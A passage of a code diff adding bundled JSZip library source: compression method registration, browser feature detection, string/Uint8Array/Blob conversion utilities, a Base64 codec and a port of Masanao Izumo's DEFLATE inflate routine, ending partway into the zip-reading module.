+ * This object is filled in as follow :
+ * name : {
+ * magic // the 2 bytes indentifying the compression method
+ * compress // function, take the uncompressed content and return it compressed.
+ * uncompress // function, take the compressed content and return it uncompressed.
+ * }
+ *
+ * STORE is the default compression method, so it's included in this file.
+ * Other methods should go to separated files : the user wants modularity.
+ */
+ JSZip.compressions = {
+ "STORE": {
+ magic: "\x00\x00",
+ compress: function (content)
+ {
+ return content; // no compression
+ },
+ uncompress: function (content)
+ {
+ return content; // no compression
+ }
+ }
+ };
+
+ /*
+ * List features that require a modern browser, and if the current browser support them.
+ */
+ JSZip.support = {
+ // contains true if JSZip can read/generate ArrayBuffer, false otherwise.
+ arraybuffer: (function ()
+ {
+ return typeof ArrayBuffer !== "undefined" && typeof Uint8Array !== "undefined";
+ })(),
+ // contains true if JSZip can read/generate Uint8Array, false otherwise.
+ uint8array: (function ()
+ {
+ return typeof Uint8Array !== "undefined";
+ })(),
+ // contains true if JSZip can read/generate Blob, false otherwise.
+ blob: (function ()
+ {
+ // the spec started with BlobBuilder then replaced it with a construtor for Blob.
+ // Result : we have browsers that :
+ // * know the BlobBuilder (but with prefix)
+ // * know the Blob constructor
+ // * know about Blob but not about how to build them
+ // About the "=== 0" test : if given the wrong type, it may be converted to a string.
+ // Instead of an empty content, we will get "[object Uint8Array]" for example.
+ if (typeof ArrayBuffer === "undefined")
+ {
+ return false;
+ }
+ var buffer = new ArrayBuffer(0);
+ try
+ {
+ return new Blob([buffer], { type: "application/zip" }).size === 0;
+ }
+ catch (e)
+ {
+ }
+
+ try
+ {
+ var builder = new (window.BlobBuilder || window.WebKitBlobBuilder ||
+ window.MozBlobBuilder || window.MSBlobBuilder)();
+ builder.append(buffer);
+ return builder.getBlob('application/zip').size === 0;
+ }
+ catch (e)
+ {
+ }
+
+ return false;
+ })()
+ };
+
+ JSZip.utils = {
+ /**
+ * Convert a string to a "binary string" : a string containing only char codes between 0 and 255.
+ * @param {string} str the string to transform.
+ * @return {String} the binary string.
+ */
+ string2binary: function (str)
+ {
+ var result = "";
+ for (var i = 0; i < str.length; i++)
+ {
+ result += String.fromCharCode(str.charCodeAt(i) & 0xff);
+ }
+ return result;
+ },
+ /**
+ * Create a Uint8Array from the string.
+ * @param {string} str the string to transform.
+ * @return {Uint8Array} the typed array.
+ * @throws {Error} an Error if the browser doesn't support the requested feature.
+ */
+ string2Uint8Array: function (str)
+ {
+ if (!JSZip.support.uint8array)
+ {
+ throw new Error("Uint8Array is not supported by this browser");
+ }
+ var buffer = new ArrayBuffer(str.length);
+ var bufferView = new Uint8Array(buffer);
+ for (var i = 0; i < str.length; i++)
+ {
+ bufferView[i] = str.charCodeAt(i);
+ }
+
+ return bufferView;
+ },
+
+ /**
+ * Create a string from the Uint8Array.
+ * @param {Uint8Array} array the array to transform.
+ * @return {string} the string.
+ * @throws {Error} an Error if the browser doesn't support the requested feature.
+ */
+ uint8Array2String: function (array)
+ {
+ if (!JSZip.support.uint8array)
+ {
+ throw new Error("Uint8Array is not supported by this browser");
+ }
+ var result = "";
+ for (var i = 0; i < array.length; i++)
+ {
+ result += String.fromCharCode(array[i]);
+ }
+
+ return result;
+ },
+ /**
+ * Create a blob from the given string.
+ * @param {string} str the string to transform.
+ * @return {Blob} the string.
+ * @throws {Error} an Error if the browser doesn't support the requested feature.
+ */
+ string2Blob: function (str)
+ {
+ if (!JSZip.support.blob)
+ {
+ throw new Error("Blob is not supported by this browser");
+ }
+
+ var buffer = JSZip.utils.string2Uint8Array(str).buffer;
+ try
+ {
+ // Blob constructor
+ return new Blob([buffer], { type: "application/zip" });
+ }
+ catch (e)
+ {
+ }
+
+ try
+ {
+ // deprecated, browser only, old way
+ var builder = new (window.BlobBuilder || window.WebKitBlobBuilder ||
+ window.MozBlobBuilder || window.MSBlobBuilder)();
+ builder.append(buffer);
+ return builder.getBlob('application/zip');
+ }
+ catch (e)
+ {
+ }
+
+ // well, fuck ?!
+ throw new Error("Bug : can't construct the Blob.");
+ }
+ };
+
+ /**
+ *
+ * Base64 encode / decode
+ * http://www.webtoolkit.info/
+ *
+ * Hacked so that it doesn't utf8 en/decode everything
+ **/
+ var JSZipBase64 = (function ()
+ {
+ // private property
+ var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
+
+ return {
+ // public method for encoding
+ encode: function (input, utf8)
+ {
+ var output = "";
+ var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
+ var i = 0;
+
+ while (i < input.length)
+ {
+
+ chr1 = input.charCodeAt(i++);
+ chr2 = input.charCodeAt(i++);
+ chr3 = input.charCodeAt(i++);
+
+ enc1 = chr1 >> 2;
+ enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
+ enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
+ enc4 = chr3 & 63;
+
+ if (isNaN(chr2))
+ {
+ enc3 = enc4 = 64;
+ }
+ else if (isNaN(chr3))
+ {
+ enc4 = 64;
+ }
+
+ output = output +
+ _keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
+ _keyStr.charAt(enc3) + _keyStr.charAt(enc4);
+
+ }
+
+ return output;
+ },
+
+ // public method for decoding
+ decode: function (input, utf8)
+ {
+ var output = "";
+ var chr1, chr2, chr3;
+ var enc1, enc2, enc3, enc4;
+ var i = 0;
+
+ input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
+
+ while (i < input.length)
+ {
+
+ enc1 = _keyStr.indexOf(input.charAt(i++));
+ enc2 = _keyStr.indexOf(input.charAt(i++));
+ enc3 = _keyStr.indexOf(input.charAt(i++));
+ enc4 = _keyStr.indexOf(input.charAt(i++));
+
+ chr1 = (enc1 << 2) | (enc2 >> 4);
+ chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
+ chr3 = ((enc3 & 3) << 6) | enc4;
+
+ output = output + String.fromCharCode(chr1);
+
+ if (enc3 != 64)
+ {
+ output = output + String.fromCharCode(chr2);
+ }
+ if (enc4 != 64)
+ {
+ output = output + String.fromCharCode(chr3);
+ }
+
+ }
+
+ return output;
+
+ }
+ };
+ }());
+
+ // enforcing Stuk's coding style
+ // vim: set shiftwidth=3 softtabstop=3:
+ /*
+ * Port of a script by Masanao Izumo.
+ *
+ * Only changes : wrap all the variables in a function and add the
+ * main function to JSZip (DEFLATE compression method).
+ * Everything else was written by M. Izumo.
+ *
+ * Original code can be found here: http://www.onicos.com/staff/iz/amuse/javascript/expert/inflate.txt
+ */
+
+ if (!JSZip)
+ {
+ throw "JSZip not defined";
+ }
+
+ /*
+ * Original:
+ * http://www.onicos.com/staff/iz/amuse/javascript/expert/inflate.txt
+ */
+
+ (function ()
+ {
+ // the original implementation leaks a global variable.
+ // Defining the variable here doesn't break anything.
+ var zip_fixed_bd;
+
+ /* Copyright (C) 1999 Masanao Izumo
+ * Version: 1.0.0.1
+ * LastModified: Dec 25 1999
+ */
+
+ /* Interface:
+ * data = zip_inflate(src);
+ */
+
+ /* constant parameters */
+ var zip_WSIZE = 32768; // Sliding Window size
+ var zip_STORED_BLOCK = 0;
+ var zip_STATIC_TREES = 1;
+ var zip_DYN_TREES = 2;
+
+ /* for inflate */
+ var zip_lbits = 9; // bits in base literal/length lookup table
+ var zip_dbits = 6; // bits in base distance lookup table
+ var zip_INBUFSIZ = 32768; // Input buffer size
+ var zip_INBUF_EXTRA = 64; // Extra buffer
+
+ /* variables (inflate) */
+ var zip_slide;
+ var zip_wp; // current position in slide
+ var zip_fixed_tl = null; // inflate static
+ var zip_fixed_td; // inflate static
+ var zip_fixed_bl, fixed_bd; // inflate static
+ var zip_bit_buf; // bit buffer
+ var zip_bit_len; // bits in bit buffer
+ var zip_method;
+ var zip_eof;
+ var zip_copy_leng;
+ var zip_copy_dist;
+ var zip_tl, zip_td; // literal/length and distance decoder tables
+ var zip_bl, zip_bd; // number of bits decoded by tl and td
+
+ var zip_inflate_data;
+ var zip_inflate_pos;
+
+
+ /* constant tables (inflate) */
+ var zip_MASK_BITS = new Array(
+ 0x0000,
+ 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff,
+ 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff);
+ // Tables for deflate from PKZIP's appnote.txt.
+ var zip_cplens = new Array( // Copy lengths for literal codes 257..285
+ 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
+ 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0);
+ /* note: see note #13 above about the 258 in this list. */
+ var zip_cplext = new Array( // Extra bits for literal codes 257..285
+ 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2,
+ 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 99, 99); // 99==invalid
+ var zip_cpdist = new Array( // Copy offsets for distance codes 0..29
+ 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
+ 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
+ 8193, 12289, 16385, 24577);
+ var zip_cpdext = new Array( // Extra bits for distance codes
+ 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6,
+ 7, 7, 8, 8, 9, 9, 10, 10, 11, 11,
+ 12, 12, 13, 13);
+ var zip_border = new Array( // Order of the bit length code lengths
+ 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15);
+ /* objects (inflate) */
+
+ function zip_HuftList()
+ {
+ this.next = null;
+ this.list = null;
+ }
+
+ function zip_HuftNode()
+ {
+ this.e = 0; // number of extra bits or operation
+ this.b = 0; // number of bits in this code or subcode
+
+ // union
+ this.n = 0; // literal, length base, or distance base
+ this.t = null; // (zip_HuftNode) pointer to next level of table
+ }
+
+ function zip_HuftBuild(b, // code lengths in bits (all assumed <= BMAX)
+ n, // number of codes (assumed <= N_MAX)
+ s, // number of simple-valued codes (0..s-1)
+ d, // list of base values for non-simple codes
+ e, // list of extra bits for non-simple codes
+ mm // maximum lookup bits
+ )
+ {
+ this.BMAX = 16; // maximum bit length of any code
+ this.N_MAX = 288; // maximum number of codes in any set
+ this.status = 0; // 0: success, 1: incomplete table, 2: bad input
+ this.root = null; // (zip_HuftList) starting table
+ this.m = 0; // maximum lookup bits, returns actual
+
+ /* Given a list of code lengths and a maximum table size, make a set of
+ tables to decode that set of codes. Return zero on success, one if
+ the given code set is incomplete (the tables are still built in this
+ case), two if the input is invalid (all zero length codes or an
+ oversubscribed set of lengths), and three if not enough memory.
+ The code with value 256 is special, and the tables are constructed
+ so that no bits beyond that code are fetched when that code is
+ decoded. */
+ {
+ var a; // counter for codes of length k
+ var c = new Array(this.BMAX + 1); // bit length count table
+ var el; // length of EOB code (value 256)
+ var f; // i repeats in table every f entries
+ var g; // maximum code length
+ var h; // table level
+ var i; // counter, current code
+ var j; // counter
+ var k; // number of bits in current code
+ var lx = new Array(this.BMAX + 1); // stack of bits per table
+ var p; // pointer into c[], b[], or v[]
+ var pidx; // index of p
+ var q; // (zip_HuftNode) points to current table
+ var r = new zip_HuftNode(); // table entry for structure assignment
+ var u = new Array(this.BMAX); // zip_HuftNode[BMAX][] table stack
+ var v = new Array(this.N_MAX); // values in order of bit length
+ var w;
+ var x = new Array(this.BMAX + 1);// bit offsets, then code stack
+ var xp; // pointer into x or c
+ var y; // number of dummy codes added
+ var z; // number of entries in current table
+ var o;
+ var tail; // (zip_HuftList)
+
+ tail = this.root = null;
+ for (i = 0; i < c.length; i++)
+ c[i] = 0;
+ for (i = 0; i < lx.length; i++)
+ lx[i] = 0;
+ for (i = 0; i < u.length; i++)
+ u[i] = null;
+ for (i = 0; i < v.length; i++)
+ v[i] = 0;
+ for (i = 0; i < x.length; i++)
+ x[i] = 0;
+
+ // Generate counts for each bit length
+ el = n > 256 ? b[256] : this.BMAX; // set length of EOB code, if any
+ p = b;
+ pidx = 0;
+ i = n;
+ do {
+ c[p[pidx]]++; // assume all entries <= BMAX
+ pidx++;
+ } while (--i > 0);
+ if (c[0] == n)
+ { // null input--all zero length codes
+ this.root = null;
+ this.m = 0;
+ this.status = 0;
+ return;
+ }
+
+ // Find minimum and maximum length, bound *m by those
+ for (j = 1; j <= this.BMAX; j++)
+ if (c[j] != 0)
+ break;
+ k = j; // minimum code length
+ if (mm < j)
+ mm = j;
+ for (i = this.BMAX; i != 0; i--)
+ if (c[i] != 0)
+ break;
+ g = i; // maximum code length
+ if (mm > i)
+ mm = i;
+
+ // Adjust last length count to fill out codes, if needed
+ for (y = 1 << j; j < i; j++, y <<= 1)
+ if ((y -= c[j]) < 0)
+ {
+ this.status = 2; // bad input: more codes than bits
+ this.m = mm;
+ return;
+ }
+ if ((y -= c[i]) < 0)
+ {
+ this.status = 2;
+ this.m = mm;
+ return;
+ }
+ c[i] += y;
+
+ // Generate starting offsets into the value table for each length
+ x[1] = j = 0;
+ p = c;
+ pidx = 1;
+ xp = 2;
+ while (--i > 0) // note that i == g from above
+ x[xp++] = (j += p[pidx++]);
+
+ // Make a table of values in order of bit lengths
+ p = b;
+ pidx = 0;
+ i = 0;
+ do {
+ if ((j = p[pidx++]) != 0)
+ v[x[j]++] = i;
+ } while (++i < n);
+ n = x[g]; // set n to length of v
+
+ // Generate the Huffman codes and for each, make the table entries
+ x[0] = i = 0; // first Huffman code is zero
+ p = v;
+ pidx = 0; // grab values in bit order
+ h = -1; // no tables yet--level -1
+ w = lx[0] = 0; // no bits decoded yet
+ q = null; // ditto
+ z = 0; // ditto
+
+ // go through the bit lengths (k already is bits in shortest code)
+ for (; k <= g; k++)
+ {
+ a = c[k];
+ while (a-- > 0)
+ {
+ // here i is the Huffman code of length k bits for value p[pidx]
+ // make tables up to required level
+ while (k > w + lx[1 + h])
+ {
+ w += lx[1 + h]; // add bits already decoded
+ h++;
+
+ // compute minimum size table less than or equal to *m bits
+ z = (z = g - w) > mm ? mm : z; // upper limit
+ if ((f = 1 << (j = k - w)) > a + 1)
+ { // try a k-w bit table
+ // too few codes for k-w bit table
+ f -= a + 1; // deduct codes from patterns left
+ xp = k;
+ while (++j < z)
+ { // try smaller tables up to z bits
+ if ((f <<= 1) <= c[++xp])
+ break; // enough codes to use up j bits
+ f -= c[xp]; // else deduct codes from patterns
+ }
+ }
+ if (w + j > el && w < el)
+ j = el - w; // make EOB code end at table
+ z = 1 << j; // table entries for j-bit table
+ lx[1 + h] = j; // set table size in stack
+
+ // allocate and link in new table
+ q = new Array(z);
+ for (o = 0; o < z; o++)
+ {
+ q[o] = new zip_HuftNode();
+ }
+
+ if (tail == null)
+ tail = this.root = new zip_HuftList();
+ else
+ tail = tail.next = new zip_HuftList();
+ tail.next = null;
+ tail.list = q;
+ u[h] = q; // table starts after link
+
+ /* connect to last table, if there is one */
+ if (h > 0)
+ {
+ x[h] = i; // save pattern for backing up
+ r.b = lx[h]; // bits to dump before this table
+ r.e = 16 + j; // bits in this table
+ r.t = q; // pointer to this table
+ j = (i & ((1 << w) - 1)) >> (w - lx[h]);
+ u[h - 1][j].e = r.e;
+ u[h - 1][j].b = r.b;
+ u[h - 1][j].n = r.n;
+ u[h - 1][j].t = r.t;
+ }
+ }
+
+ // set up table entry in r
+ r.b = k - w;
+ if (pidx >= n)
+ r.e = 99; // out of values--invalid code
+ else if (p[pidx] < s)
+ {
+ r.e = (p[pidx] < 256 ? 16 : 15); // 256 is end-of-block code
+ r.n = p[pidx++]; // simple code is just the value
+ }
+ else
+ {
+ r.e = e[p[pidx] - s]; // non-simple--look up in lists
+ r.n = d[p[pidx++] - s];
+ }
+
+ // fill code-like entries with r //
+ f = 1 << (k - w);
+ for (j = i >> w; j < z; j += f)
+ {
+ q[j].e = r.e;
+ q[j].b = r.b;
+ q[j].n = r.n;
+ q[j].t = r.t;
+ }
+
+ // backwards increment the k-bit code i
+ for (j = 1 << (k - 1); (i & j) != 0; j >>= 1)
+ i ^= j;
+ i ^= j;
+
+ // backup over finished tables
+ while ((i & ((1 << w) - 1)) != x[h])
+ {
+ w -= lx[h]; // don't need to update q
+ h--;
+ }
+ }
+ }
+
+ /* return actual size of base table */
+ this.m = lx[1];
+
+ /* Return true (1) if we were given an incomplete table */
+ this.status = ((y != 0 && g != 1) ? 1 : 0);
+ }
+ /* end of constructor */
+ }
+
+
+ /* routines (inflate) */
+
+ function zip_GET_BYTE()
+ {
+ if (zip_inflate_data.length == zip_inflate_pos)
+ return -1;
+ return zip_inflate_data.charCodeAt(zip_inflate_pos++) & 0xff;
+ }
+
+ function zip_NEEDBITS(n)
+ {
+ while (zip_bit_len < n)
+ {
+ zip_bit_buf |= zip_GET_BYTE() << zip_bit_len;
+ zip_bit_len += 8;
+ }
+ }
+
+ function zip_GETBITS(n)
+ {
+ return zip_bit_buf & zip_MASK_BITS[n];
+ }
+
+ function zip_DUMPBITS(n)
+ {
+ zip_bit_buf >>= n;
+ zip_bit_len -= n;
+ }
+
+ function zip_inflate_codes(buff, off, size)
+ {
+ /* inflate (decompress) the codes in a deflated (compressed) block.
+ Return an error code or zero if it all goes ok. */
+ var e; // table entry flag/number of extra bits
+ var t; // (zip_HuftNode) pointer to table entry
+ var n;
+
+ if (size == 0)
+ return 0;
+
+ // inflate the coded data
+ n = 0;
+ for (; ;)
+ { // do until end of block
+ zip_NEEDBITS(zip_bl);
+ t = zip_tl.list[zip_GETBITS(zip_bl)];
+ e = t.e;
+ while (e > 16)
+ {
+ if (e == 99)
+ return -1;
+ zip_DUMPBITS(t.b);
+ e -= 16;
+ zip_NEEDBITS(e);
+ t = t.t[zip_GETBITS(e)];
+ e = t.e;
+ }
+ zip_DUMPBITS(t.b);
+
+ if (e == 16)
+ { // then it's a literal
+ zip_wp &= zip_WSIZE - 1;
+ buff[off + n++] = zip_slide[zip_wp++] = t.n;
+ if (n == size)
+ return size;
+ continue;
+ }
+
+ // exit if end of block
+ if (e == 15)
+ break;
+
+ // it's an EOB or a length
+
+ // get length of block to copy
+ zip_NEEDBITS(e);
+ zip_copy_leng = t.n + zip_GETBITS(e);
+ zip_DUMPBITS(e);
+
+ // decode distance of block to copy
+ zip_NEEDBITS(zip_bd);
+ t = zip_td.list[zip_GETBITS(zip_bd)];
+ e = t.e;
+
+ while (e > 16)
+ {
+ if (e == 99)
+ return -1;
+ zip_DUMPBITS(t.b);
+ e -= 16;
+ zip_NEEDBITS(e);
+ t = t.t[zip_GETBITS(e)];
+ e = t.e;
+ }
+ zip_DUMPBITS(t.b);
+ zip_NEEDBITS(e);
+ zip_copy_dist = zip_wp - t.n - zip_GETBITS(e);
+ zip_DUMPBITS(e);
+
+ // do the copy
+ while (zip_copy_leng > 0 && n < size)
+ {
+ zip_copy_leng--;
+ zip_copy_dist &= zip_WSIZE - 1;
+ zip_wp &= zip_WSIZE - 1;
+ buff[off + n++] = zip_slide[zip_wp++]
+ = zip_slide[zip_copy_dist++];
+ }
+
+ if (n == size)
+ return size;
+ }
+
+ zip_method = -1; // done
+ return n;
+ }
+
+ function zip_inflate_stored(buff, off, size)
+ {
+ /* "decompress" an inflated type 0 (stored) block. */
+ var n;
+
+ // go to byte boundary
+ n = zip_bit_len & 7;
+ zip_DUMPBITS(n);
+
+ // get the length and its complement
+ zip_NEEDBITS(16);
+ n = zip_GETBITS(16);
+ zip_DUMPBITS(16);
+ zip_NEEDBITS(16);
+ if (n != ((~zip_bit_buf) & 0xffff))
+ return -1; // error in compressed data
+ zip_DUMPBITS(16);
+
+ // read and output the compressed data
+ zip_copy_leng = n;
+
+ n = 0;
+ while (zip_copy_leng > 0 && n < size)
+ {
+ zip_copy_leng--;
+ zip_wp &= zip_WSIZE - 1;
+ zip_NEEDBITS(8);
+ buff[off + n++] = zip_slide[zip_wp++] =
+ zip_GETBITS(8);
+ zip_DUMPBITS(8);
+ }
+
+ if (zip_copy_leng == 0)
+ zip_method = -1; // done
+ return n;
+ }
+
+ function zip_inflate_fixed(buff, off, size)
+ {
+ /* decompress an inflated type 1 (fixed Huffman codes) block. We should
+ either replace this with a custom decoder, or at least precompute the
+ Huffman tables. */
+
+ // if first time, set up tables for fixed blocks
+ if (zip_fixed_tl == null)
+ {
+ var i; // temporary variable
+ var l = new Array(288); // length list for huft_build
+ var h; // zip_HuftBuild
+
+ // literal table
+ for (i = 0; i < 144; i++)
+ l[i] = 8;
+ for (; i < 256; i++)
+ l[i] = 9;
+ for (; i < 280; i++)
+ l[i] = 7;
+ for (; i < 288; i++) // make a complete, but wrong code set
+ l[i] = 8;
+ zip_fixed_bl = 7;
+
+ h = new zip_HuftBuild(l, 288, 257, zip_cplens, zip_cplext,
+ zip_fixed_bl);
+ if (h.status != 0)
+ {
+ alert("HufBuild error: " + h.status);
+ return -1;
+ }
+ zip_fixed_tl = h.root;
+ zip_fixed_bl = h.m;
+
+ // distance table
+ for (i = 0; i < 30; i++) // make an incomplete code set
+ l[i] = 5;
+ zip_fixed_bd = 5;
+
+ h = new zip_HuftBuild(l, 30, 0, zip_cpdist, zip_cpdext, zip_fixed_bd);
+ if (h.status > 1)
+ {
+ zip_fixed_tl = null;
+ alert("HufBuild error: " + h.status);
+ return -1;
+ }
+ zip_fixed_td = h.root;
+ zip_fixed_bd = h.m;
+ }
+
+ zip_tl = zip_fixed_tl;
+ zip_td = zip_fixed_td;
+ zip_bl = zip_fixed_bl;
+ zip_bd = zip_fixed_bd;
+ return zip_inflate_codes(buff, off, size);
+ }
+
+ function zip_inflate_dynamic(buff, off, size)
+ {
+ // decompress an inflated type 2 (dynamic Huffman codes) block.
+ var i; // temporary variables
+ var j;
+ var l; // last length
+ var n; // number of lengths to get
+ var t; // (zip_HuftNode) literal/length code table
+ var nb; // number of bit length codes
+ var nl; // number of literal/length codes
+ var nd; // number of distance codes
+ var ll = new Array(286 + 30); // literal/length and distance code lengths
+ var h; // (zip_HuftBuild)
+
+ for (i = 0; i < ll.length; i++)
+ ll[i] = 0;
+
+ // read in table lengths
+ zip_NEEDBITS(5);
+ nl = 257 + zip_GETBITS(5); // number of literal/length codes
+ zip_DUMPBITS(5);
+ zip_NEEDBITS(5);
+ nd = 1 + zip_GETBITS(5); // number of distance codes
+ zip_DUMPBITS(5);
+ zip_NEEDBITS(4);
+ nb = 4 + zip_GETBITS(4); // number of bit length codes
+ zip_DUMPBITS(4);
+ if (nl > 286 || nd > 30)
+ return -1; // bad lengths
+
+ // read in bit-length-code lengths
+ for (j = 0; j < nb; j++)
+ {
+ zip_NEEDBITS(3);
+ ll[zip_border[j]] = zip_GETBITS(3);
+ zip_DUMPBITS(3);
+ }
+ for (; j < 19; j++)
+ ll[zip_border[j]] = 0;
+
+ // build decoding table for trees--single level, 7 bit lookup
+ zip_bl = 7;
+ h = new zip_HuftBuild(ll, 19, 19, null, null, zip_bl);
+ if (h.status != 0)
+ return -1; // incomplete code set
+
+ zip_tl = h.root;
+ zip_bl = h.m;
+
+ // read in literal and distance code lengths
+ n = nl + nd;
+ i = l = 0;
+ while (i < n)
+ {
+ zip_NEEDBITS(zip_bl);
+ t = zip_tl.list[zip_GETBITS(zip_bl)];
+ j = t.b;
+ zip_DUMPBITS(j);
+ j = t.n;
+ if (j < 16) // length of code in bits (0..15)
+ ll[i++] = l = j; // save last length in l
+ else if (j == 16)
+ { // repeat last length 3 to 6 times
+ zip_NEEDBITS(2);
+ j = 3 + zip_GETBITS(2);
+ zip_DUMPBITS(2);
+ if (i + j > n)
+ return -1;
+ while (j-- > 0)
+ ll[i++] = l;
+ }
+ else if (j == 17)
+ { // 3 to 10 zero length codes
+ zip_NEEDBITS(3);
+ j = 3 + zip_GETBITS(3);
+ zip_DUMPBITS(3);
+ if (i + j > n)
+ return -1;
+ while (j-- > 0)
+ ll[i++] = 0;
+ l = 0;
+ }
+ else
+ { // j == 18: 11 to 138 zero length codes
+ zip_NEEDBITS(7);
+ j = 11 + zip_GETBITS(7);
+ zip_DUMPBITS(7);
+ if (i + j > n)
+ return -1;
+ while (j-- > 0)
+ ll[i++] = 0;
+ l = 0;
+ }
+ }
+
+ // build the decoding tables for literal/length and distance codes
+ zip_bl = zip_lbits;
+ h = new zip_HuftBuild(ll, nl, 257, zip_cplens, zip_cplext, zip_bl);
+ if (zip_bl == 0) // no literals or lengths
+ h.status = 1;
+ if (h.status != 0)
+ {
+ if (h.status == 1)
+ ;// **incomplete literal tree**
+ return -1; // incomplete code set
+ }
+ zip_tl = h.root;
+ zip_bl = h.m;
+
+ for (i = 0; i < nd; i++)
+ ll[i] = ll[i + nl];
+ zip_bd = zip_dbits;
+ h = new zip_HuftBuild(ll, nd, 0, zip_cpdist, zip_cpdext, zip_bd);
+ zip_td = h.root;
+ zip_bd = h.m;
+
+ if (zip_bd == 0 && nl > 257)
+ { // lengths but no distances
+ // **incomplete distance tree**
+ return -1;
+ }
+
+ if (h.status == 1)
+ {
+ ;// **incomplete distance tree**
+ }
+ if (h.status != 0)
+ return -1;
+
+ // decompress until an end-of-block code
+ return zip_inflate_codes(buff, off, size);
+ }
+
+ function zip_inflate_start()
+ {
+ var i;
+
+ if (zip_slide == null)
+ zip_slide = new Array(2 * zip_WSIZE);
+ zip_wp = 0;
+ zip_bit_buf = 0;
+ zip_bit_len = 0;
+ zip_method = -1;
+ zip_eof = false;
+ zip_copy_leng = zip_copy_dist = 0;
+ zip_tl = null;
+ }
+
+ function zip_inflate_internal(buff, off, size)
+ {
+ // decompress an inflated entry
+ var n, i;
+
+ n = 0;
+ while (n < size)
+ {
+ if (zip_eof && zip_method == -1)
+ return n;
+
+ if (zip_copy_leng > 0)
+ {
+ if (zip_method != zip_STORED_BLOCK)
+ {
+ // STATIC_TREES or DYN_TREES
+ while (zip_copy_leng > 0 && n < size)
+ {
+ zip_copy_leng--;
+ zip_copy_dist &= zip_WSIZE - 1;
+ zip_wp &= zip_WSIZE - 1;
+ buff[off + n++] = zip_slide[zip_wp++] =
+ zip_slide[zip_copy_dist++];
+ }
+ }
+ else
+ {
+ while (zip_copy_leng > 0 && n < size)
+ {
+ zip_copy_leng--;
+ zip_wp &= zip_WSIZE - 1;
+ zip_NEEDBITS(8);
+ buff[off + n++] = zip_slide[zip_wp++] = zip_GETBITS(8);
+ zip_DUMPBITS(8);
+ }
+ if (zip_copy_leng == 0)
+ zip_method = -1; // done
+ }
+ if (n == size)
+ return n;
+ }
+
+ if (zip_method == -1)
+ {
+ if (zip_eof)
+ break;
+
+ // read in last block bit
+ zip_NEEDBITS(1);
+ if (zip_GETBITS(1) != 0)
+ zip_eof = true;
+ zip_DUMPBITS(1);
+
+ // read in block type
+ zip_NEEDBITS(2);
+ zip_method = zip_GETBITS(2);
+ zip_DUMPBITS(2);
+ zip_tl = null;
+ zip_copy_leng = 0;
+ }
+
+ switch (zip_method)
+ {
+ case 0: // zip_STORED_BLOCK
+ i = zip_inflate_stored(buff, off + n, size - n);
+ break;
+
+ case 1: // zip_STATIC_TREES
+ if (zip_tl != null)
+ i = zip_inflate_codes(buff, off + n, size - n);
+ else
+ i = zip_inflate_fixed(buff, off + n, size - n);
+ break;
+
+ case 2: // zip_DYN_TREES
+ if (zip_tl != null)
+ i = zip_inflate_codes(buff, off + n, size - n);
+ else
+ i = zip_inflate_dynamic(buff, off + n, size - n);
+ break;
+
+ default: // error
+ i = -1;
+ break;
+ }
+
+ if (i == -1)
+ {
+ if (zip_eof)
+ return 0;
+ return -1;
+ }
+ n += i;
+ }
+ return n;
+ }
+
+ function zip_inflate(str)
+ {
+ var out, buff;
+ var i, j;
+
+ zip_inflate_start();
+ zip_inflate_data = str;
+ zip_inflate_pos = 0;
+
+ buff = new Array(1024);
+ out = "";
+ while ((i = zip_inflate_internal(buff, 0, buff.length)) > 0)
+ {
+ for (j = 0; j < i; j++)
+ out += String.fromCharCode(buff[j]);
+ }
+ zip_inflate_data = null; // G.C.
+ return out;
+ }
+
+ //
+ // end of the script of Masanao Izumo.
+ //
+
+ // we add the compression method for JSZip
+ if (!JSZip.compressions["DEFLATE"])
+ {
+ JSZip.compressions["DEFLATE"] = {
+ magic: "\x08\x00",
+ uncompress: zip_inflate
+ }
+ }
+ else
+ {
+ JSZip.compressions["DEFLATE"].uncompress = zip_inflate;
+ }
+
+ })();
+
+ // enforcing Stuk's coding style
+ // vim: set shiftwidth=3 softtabstop=3:
+ /**
+
+ JSZip - A Javascript class for generating and reading zip files
+
+
+ (c) 2011 David Duponchel
+ Dual licenced under the MIT license or GPLv3. See LICENSE.markdown.
+
+ **/
+ /*global JSZip,JSZipBase64 */
+ (function ()
+ {
+
+ var MAX_VALUE_16BITS = 65535;
+ var MAX_VALUE_32BITS = -1; // well, "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" is parsed as -1
+
+ /**
+ * Prettify a string read as binary.
+ * @param {string} str the string to prettify.
+ * @return {string} a pretty string.
+ */
+ var pretty = function (str)
+ {
+ var res = '', code, i;
+ for (i = 0; i < (str || "").length; i++)
+ {
+ code = str.charCodeAt(i);
+ res += '\\x' + (code < 16 ? "0" : "") + code.toString(16).toUpperCase();
+ }
+ return res;
+ };
+
+ /**
+ * Find a compression registered in JSZip.
+ * @param {string} compressionMethod the method magic to find.
+ * @return {Object|null} the JSZip compression object, null if none found.
+ */
+ var findCompression = function (compressionMethod)
+ {
+ for (var method in JSZip.compressions)
+ {
+ if (!JSZip.compressions.hasOwnProperty(method))
+ {
+ continue;
+ }
+ if (JSZip.compressions[method].magic === compressionMethod)
+ {
+ return JSZip.compressions[method];
+ }
+ }
+ return null;
+ };
+
+ // class StreamReader {{{
+ /**
+ * Read bytes from a stream.
+ * Developer tip : when debugging, a watch on pretty(this.reader.stream.slice(this.reader.index))
